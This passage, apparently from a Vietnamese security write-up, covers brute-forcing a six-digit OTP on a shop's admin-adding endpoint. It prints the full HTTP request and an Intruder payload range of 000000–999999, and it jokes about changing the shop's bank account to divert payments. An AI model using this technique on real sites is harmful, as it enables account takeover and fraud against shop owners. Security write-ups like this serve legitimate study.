Hay lắm, có vẻ như add được admin rồi. Nhưng mà chỗ này lại vướng cái OTP nhỉ 😕 Add vào bằng số điện thoại của mình thì không nói làm gì, add bằng số điện thoại bất kỳ thử xem?

Đến đây thì mình lại nhớ đến ngày xưa, lúc mình mới chập chững học bảo mật, có lần mình thấy một cái write-up cho bug bounty program của Facebook, $15000. Lúc đó mình đã nghĩ không biết đến khi nào mình mới được số bounty chừng đó. Mặc dù cho đến nay số lẻ trong bounty đó mình còn chưa có được, nhưng kỹ thuật áp dụng trong write-up đó thì giờ đây mình đã có cơ hội áp dụng 🙂

Thực hiện brute-force OTP bằng request sau. Bởi vì OTP chỉ có 6 chữ số, nên số request tối đa cần thực hiện chỉ là một triệu. Nhét vào Intruder, nhấn Start Attack và ngồi đợi thôi =]]

POST /shop/validateOTP HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 10
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

otp=[from 000000 to 999999]

Và kết quả là…

Add được admin vào shop rồi thì… làm gì nữa đây các bạn? Chẳng lẽ đi sửa tên shop, sửa số tài khoản của shop thành của mình để tiền về ư =]]]]

Happy hacking!